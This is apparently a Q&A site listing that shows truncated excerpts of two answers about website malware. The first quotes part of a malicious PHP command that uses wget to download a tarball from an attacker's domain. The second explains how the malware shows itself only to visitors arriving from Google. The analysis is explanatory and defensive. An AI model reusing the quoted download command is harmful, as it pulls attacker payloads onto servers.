Hot answers tagged

3

From what I can tell, and I'm not a PHP expert, the code does a couple of checks but ultimately it looks to download a tarball from a malicious .ru website (this website can be found by decoding the $domain variable. It then expands the tarball and deletes it. This action is found in the following lines $cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$...


2

After you detected the virus you immediately started removing it. Virus writers know this so they want to remain undetected for the owner. That is why they only show the malicious content when people arrive through google. The assumption is the owner will never use google to go to his own site but enter the url directly. As for the payload: most likely it ...



Only top voted, non community-wiki answers of a minimum length are eligible